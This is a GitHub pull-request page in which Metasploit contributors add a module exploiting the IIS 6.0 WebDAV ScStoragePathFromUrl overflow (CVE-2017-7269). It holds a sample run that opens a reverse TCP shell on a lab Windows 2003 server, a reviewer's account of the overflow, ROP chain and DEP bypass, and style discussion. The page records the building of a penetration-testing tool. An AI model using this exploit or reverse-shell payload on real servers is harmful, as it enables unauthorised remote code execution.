Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add IIS 6.0 ScStoragePathFromUrl exploit (CVE-2017-7269) (follwoup) #8355

Merged
merged 26 commits into from
May 9, 2017

Conversation

firefart
Copy link
Contributor

@firefart firefart commented May 8, 2017

This is a follow up PR to #8162

The new changes auto extracts all needed values and tries to bruteforce the path length.

This PR also contains the original commits so they are not lost.

Current Drawbacks:

Sample run:

msf exploit(iis_webdav_scstoragepathfromurl) > options

Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   MaxPathLength  19               yes       End of physical path brute force
   MinPathLength  19               yes       Start of physical path brute force
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST          192.168.56.3     yes       The target address
   RPORT          80               yes       The target port (TCP)
   SSL            false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI      /                yes       Path of IIS 6 web application
   VHOST                           no        HTTP server virtual host


Payload options (windows/shell_reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.19.0.3       yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows Server 2003 R2 SP2


msf exploit(iis_webdav_scstoragepathfromurl) > run

[*] Started reverse TCP handler on 172.19.0.3:4444 
[*] Extracting ServerName and Port
[*] Using http_host http://192.168.56.3:80
[*] Trying path length of 19...
[*] Sending payload
[*] got a connection reset
[*] Command shell session 3 opened (172.19.0.3:4444 -> 172.19.0.1:41766) at 2017-05-08 22:21:32 +0000

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service

c:\windows\system32\inetsrv>

'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
'firefart', # metasploit module
'zcgonvh <zcgonvh@qq.com>' # metasploit module
],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Don't suppose I could get my name back in here?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

oops

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@rwhitcroft sure, what do you want in there? Nickname or real name?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@rwhitcroft found it on the other PR and added it. If you want smth. else, just ping me

[
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
OptInt.new('MinPathLength', [ true, 'Start of physical path brute force', 3 ]),
OptInt.new('MaxPathLength', [ true, 'End of physical path brute force', 60 ]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

All datastore options should be in capital.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

is this really the case? seeing all kinds of variants in the modules folder. If it's a convention should we add an msftidy check for this? @wvu-r7

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That's debatable, but yeah, that's typically the case. Normal options are uppercase (I like screaming snake), while advanced options are camel case.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

msftidy can die in a fire.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@wvu-r7 screaming snake made my day haha changed the casing

@wwebb-r7
Copy link
Contributor

wwebb-r7 commented May 9, 2017

As for the first payload, @bcook-r7 and @rwhitcroft were on the right path in the previous PR. As I said regarding the shellcode (the second payload), it's run through an alpha encoder. I'll link to it at the end.

@zcgonvh did a good job explaining considering the language barrier, hopefully I can clarify somewhat.
The gist of it is that the vulnerable memcpy is called multiple times within the code path the request takes it on. In the first case, it forgoes overwriting the return address and only overflows as much as it needs to overwrite the location pointed to by a local variable, which gets used as the destination address for the next iteration of memcpy. This address lies on the heap, and corresponds to the vftable of an IEcb object. This memcpy also handles loading the bulk of the exploit payload. When the corresponding virtual function pointer that was overwritten is called, the ROP chain is entered, and the exploit uses the SharedUserData technique to bypass DEP. From there on out, the shellcode is entered. It's a lot more clever than I could possibly describe it at 4AM.

You can find a more complete analysis--along with commented ROP gadgets and shellcode--than the one I was working on here. If you are fluent in Chinese, well, lucky you. If Google Translate is more your speed, replace the word "cover" with "overwrite" and things make a lot more sense.

Again, everything needed to document this can be found in the previous PR's conversation and the linked blog post. If someone still needs help in doing so, let me know.

EDIT: My mistake. The shellcode portion is actually documented better here. The page doesn't translate well but it's not necessary.

@egypt egypt merged commit 2b4ace9 into rapid7:master May 9, 2017
egypt added a commit that referenced this pull request May 9, 2017
@egypt
Copy link
Contributor

egypt commented May 9, 2017

Verified with Meterpreter (staged) and shell (single) payloads. Thanks for all your great work on this, folks!

@firefart firefart deleted the iis2 branch May 9, 2017 16:44
@alrosenthal-r7
Copy link

@wchen-r7 Can you please add release notes to this pr?

@wchen-r7
Copy link
Contributor

Sure, I'll do it :-)

@wchen-r7
Copy link
Contributor

wchen-r7 commented May 16, 2017

Release Notes

The exploits/windows/iis/iis_webdav_scstoragepathfromurl module exploits a vulnerability against the IIS 6.0 web server. The ScStoragePathFromUrl in the WebDAV service is vulnerable to an overflow, which can be exploited and gain arbitrary remote code execution. The ability to automatically extract all needed values and bruteforce the path length has been added.

@busterb
Copy link
Contributor

busterb commented May 16, 2017

Tsk tsk @egypt

@alrosenthal-r7 alrosenthal-r7 added the rn-enhancement release notes enhancement label May 16, 2017
@egypt
Copy link
Contributor

egypt commented May 16, 2017 via email

@tdoan-r7 tdoan-r7 added rn-exploit and removed rn-enhancement release notes enhancement labels May 18, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.